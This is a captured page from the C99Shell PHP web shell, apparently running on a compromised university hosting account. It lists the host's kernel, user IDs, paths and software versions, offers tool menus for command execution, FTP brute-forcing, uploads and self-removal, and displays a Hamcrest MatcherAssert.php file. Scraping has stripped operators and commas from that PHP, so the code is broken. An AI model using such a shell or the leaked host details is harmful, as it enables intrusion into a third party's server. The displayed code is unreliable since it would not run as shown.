!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/   drwxr-xr-x
Free 116.58 GB of 200.55 GB (58.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MatcherAssert.php (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest;

/*
 Copyright (c) 2009 hamcrest.org
 */

class MatcherAssert
{

    
/**
     * Number of assertions performed.
     *
     * @var int
     */
    
private static $_count 0;

    
/**
     * Make an assertion and throw {@link Hamcrest\AssertionError} if it fails.
     *
     * The first parameter may optionally be a string identifying the assertion
     * to be included in the failure message.
     *
     * If the third parameter is not a matcher it is passed to
     * {@link Hamcrest\Core\IsEqual#equalTo} to create one.
     *
     * Example:
     * <pre>
     * // With an identifier
     * assertThat("apple flavour", $apple->flavour(), equalTo("tasty"));
     * // Without an identifier
     * assertThat($apple->flavour(), equalTo("tasty"));
     * // Evaluating a boolean expression
     * assertThat("some error", $a > $b);
     * assertThat($a > $b);
     * </pre>
     */
    
public static function assertThat(/* $args ... */)
    {
        
$args func_get_args();
        switch (
count($args)) {
            case 
1:
                
self::$_count++;
                if (!
$args[0]) {
                    throw new 
AssertionError();
                }
                break;

            case 
2:
                
self::$_count++;
                if (
$args[1] instanceof Matcher) {
                    
self::doAssert(''$args[0], $args[1]);
                } elseif (!
$args[1]) {
                    throw new 
AssertionError($args[0]);
                }
                break;

            case 
3:
                
self::$_count++;
                
self::doAssert(
                    
$args[0],
                    
$args[1],
                    
Util::wrapValueWithIsEqual($args[2])
                );
                break;

            default:
                throw new \
InvalidArgumentException('assertThat() requires one to three arguments');
        }
    }

    
/**
     * Returns the number of assertions performed.
     *
     * @return int
     */
    
public static function getCount()
    {
        return 
self::$_count;
    }

    
/**
     * Resets the number of assertions performed to zero.
     */
    
public static function resetCount()
    {
        
self::$_count 0;
    }

    
/**
     * Performs the actual assertion logic.
     *
     * If <code>$matcher</code> doesn't match <code>$actual</code>,
     * throws a {@link Hamcrest\AssertionError} with a description
     * of the failure along with the optional <code>$identifier</code>.
     *
     * @param string $identifier added to the message upon failure
     * @param mixed $actual value to compare against <code>$matcher</code>
     * @param \Hamcrest\Matcher $matcher applied to <code>$actual</code>
     * @throws AssertionError
     */
    
private static function doAssert($identifier$actualMatcher $matcher)
    {
        if (!
$matcher->matches($actual)) {
            
$description = new StringDescription();
            if (!empty(
$identifier)) {
                
$description->appendText($identifier PHP_EOL);
            }
            
$description->appendText('Expected: ')
                                    ->
appendDescriptionOf($matcher)
                                    ->
appendText(PHP_EOL '     but: ');

            
$matcher->describeMismatch($actual$description);

            throw new 
AssertionError((string) $description);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.016 ]--